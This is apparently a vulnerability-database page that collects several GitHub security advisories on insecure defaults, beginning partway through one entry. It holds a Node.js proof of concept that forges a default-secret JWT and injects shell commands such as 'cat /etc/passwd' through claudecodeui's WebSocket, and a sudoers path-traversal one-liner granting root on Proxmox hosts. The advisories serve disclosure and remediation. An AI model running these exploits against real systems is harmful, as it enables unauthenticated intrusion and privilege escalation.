`sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from \u0027jsonwebtoken\u0027;\nimport WebSocket from \u0027ws\u0027;\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: \u0027attacker\u0027 },\n  \u0027claude-ui-dev-secret-change-in-production\u0027\n);\n\n// Step 2: Connect to /shell WebSocket \u2014 auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on(\u0027open\u0027, () =\u003e {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: \u0027init\u0027,\n    projectPath: \u0027/tmp\u0027,\n    initialCommand: \u0027id \u0026\u0026 cat /etc/passwd\u0027,\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on(\u0027message\u0027, (data) =\u003e {\n  const msg = JSON.parse(data);\n  if (msg.type === \u0027output\u0027) process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector \u2014 `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: \u0027init\u0027,\n  projectPath: \u0027\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \u0027,\n  provider: \u0027claude\u0027,\n  hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication \u2014 first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` \u2014 tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error(\u0027[FATAL] JWT_SECRET environment variable must be set\u0027);\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 \u2014 Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // \u2190 add\n    if (!user) return null;                          // \u2190 add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 \u2014 Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn(\u0027bash\u0027, [\u0027-c\u0027, `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(\u0027 \u0027)[0], initialCommand.split(\u0027 \u0027).slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 \u2014 Additional hardening\n- Add `expiresIn: \u002724h\u0027` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** \u2014 OPCIA",
  "id": "GHSA-gv8f-wpm2-m5wr",
  "modified": "2026-03-11T20:58:52Z",
  "published": "2026-03-11T00:37:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection"
}

GHSA-GWCH-7M8V-7544

Vulnerability from github – Published: 2026-02-02 20:25 – Updated: 2026-02-04 21:58
VLAI
Summary
terraform-provider-proxmox has insecure sudo recommendation in the documentation
Details

Note: It is uncertain whether this constitutes a vulnerability or should be filed as an issue instead.

Summary

In the SSH configuration documentation, the sudoer line that was suggested can be escalated to edit any files in the system.

Details

The following line were suggested for addition in the sudoers file:

terraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/*

But this is highly insecure as the folder can be escaped using ../ and any files can be edited on the system.

PoC

Using a terraform user with the previously mentioned line in the /etc/sudoers file, a /etc/sudoers.d/sudo file can be added using this command:

echo "ALL=(ALL) NOPASSWD:ALL" | tee /var/lib/vz/../../../etc/sudoers.d/sudo

This grants access to the full root of the node.

Impact

This breaches the access limits of the Terraform user.

Suggested workaround

Use a strict regex on the command to allow only the names that should be pushed by this user.

Example for cloudinit yaml files:

terraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/snippets/[A-Za-z0-9-]*\\.yaml
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bpg/terraform-provider-proxmox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.93.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T20:25:53Z",
    "nvd_published_at": "2026-02-04T21:16:01Z",
    "severity": "HIGH"
  },
  "details": "\u003e Note: It is uncertain whether this constitutes a vulnerability or should be filed as an issue instead.\n\n### Summary\n\nIn the SSH configuration documentation, the sudoer line that was suggested can be escalated to edit any files in the system.\n\n### Details\n\nThe following line were suggested for addition in the sudoers file:\n\n```bash\nterraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/*\n```\n\nBut this is highly insecure as  the folder can be escaped using `../` and any files can be edited on the system.\n\n### PoC\n\nUsing a `terraform` user with the previously mentioned line in the `/etc/sudoers` file, a `/etc/sudoers.d/sudo` file can be added using this command:\n\n`echo \"ALL=(ALL) NOPASSWD:ALL\" | tee /var/lib/vz/../../../etc/sudoers.d/sudo`\n\nThis grants access to the full root of the node.\n\n### Impact\n\nThis breaches the access limits of the Terraform user.\n\n### Suggested workaround\n\nUse a strict regex on the command to allow only the names that should be pushed by this user.\n\nExample for cloudinit yaml files:\n\n```bash\nterraform ALL=(root) NOPASSWD: /usr/bin/tee /var/lib/vz/snippets/[A-Za-z0-9-]*\\\\.yaml\n```",
  "id": "GHSA-gwch-7m8v-7544",
  "modified": "2026-02-04T21:58:25Z",
  "published": "2026-02-02T20:25:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bpg/terraform-provider-proxmox/security/advisories/GHSA-gwch-7m8v-7544"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpg/terraform-provider-proxmox/commit/bd604c41a31e2a55dd6acc01b0608be3ea49c023"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bpg/terraform-provider-proxmox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "terraform-provider-proxmox has insecure sudo recommendation in the documentation"
}

GHSA-GX77-XGC2-4888

Vulnerability from github – Published: 2025-11-27 03:30 – Updated: 2025-12-01 20:51
VLAI
Summary
Ray's New Token Authentication is Disabled By Default
Details

Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ray"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.52.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-34351"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-304"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T20:51:10Z",
    "nvd_published_at": "2025-11-27T03:15:58Z",
    "severity": "CRITICAL"
  },
  "details": "Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.",
  "id": "GHSA-gx77-xgc2-4888",
  "modified": "2025-12-01T20:51:10Z",
  "published": "2025-11-27T03:30:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-w8vc-465m-jjw6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-34351"
    },
    {
      "type": "WEB",
      "url": "https://docs.ray.io/en/latest/ray-security/token-auth.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ray-project/ray"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ray-project/ray/releases/tag/ray-2.52.0"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/resourcessupport/allresources/cnarules#section_4-1_Vulnerability_Determination"
    },
    {
      "type": "WEB",
      "url": "https://www.linkedin.com/posts/jonathan-leitschuh_the-latest-piece-of-mind-bending-research-activity-7396976425997606912-qizE"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet"
    },
    {
      "type": "WEB",
      "url": "https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/anyscale-ray-token-authentication-disabled-by-default-insecure-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ray\u0027s New Token Authentication is Disabled By Default"
}

GHSA-H3R7-X4MP-2C39

Vulnerability from github – Published: 2022-09-20 00:00 – Updated: 2025-11-04 18:30
VLAI
Details

Tinyproxy commit 84f203f and earlier does not process HTTP request lines in the process_request() function and is using uninitialized buffers. This vulnerability allows attackers to access sensitive information at system runtime.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-19T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Tinyproxy commit 84f203f and earlier does not process HTTP request lines in the process_request() function and is using uninitialized buffers. This vulnerability allows attackers to access sensitive information at system runtime.",
  "id": "GHSA-h3r7-x4mp-2c39",
  "modified": "2025-11-04T18:30:39Z",
  "published": "2022-09-20T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/issues/457"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/issues/457#issuecomment-1264176815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinyproxy/tinyproxy/blob/84f203fb1c4733608c7283bbe794005a469c4b00/src/reqs.c#L346"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H79M-5CM2-278C

Vulnerability from github – Published: 2023-05-22 18:30 – Updated: 2023-05-30 06:48
VLAI
Summary
User data exposure in Apache InLong
Details

Insecure Default Initialization of Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.6.0. Users registered in InLong who joined later can see deleted users' data. Users are advised to upgrade to Apache InLong's 1.7.0 or cherry-pick https://github.com/apache/inlong/pull/7836 to solve it.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-dao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-pojo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-31101"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-22T20:01:36Z",
    "nvd_published_at": "2023-05-22T16:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Insecure Default Initialization of Resource Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.6.0.  Users registered in InLong who joined later can see deleted users\u0027 data. Users are advised to upgrade to Apache InLong\u0027s 1.7.0 or cherry-pick  https://github.com/apache/inlong/pull/7836 to solve it.\n\n\n",
  "id": "GHSA-h79m-5cm2-278c",
  "modified": "2023-05-30T06:48:22Z",
  "published": "2023-05-22T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/inlong/pull/7836"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/inlong"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/shvwwr6toqz5rr39rwh4k03z08sh9jmr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "User data exposure in Apache InLong"
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list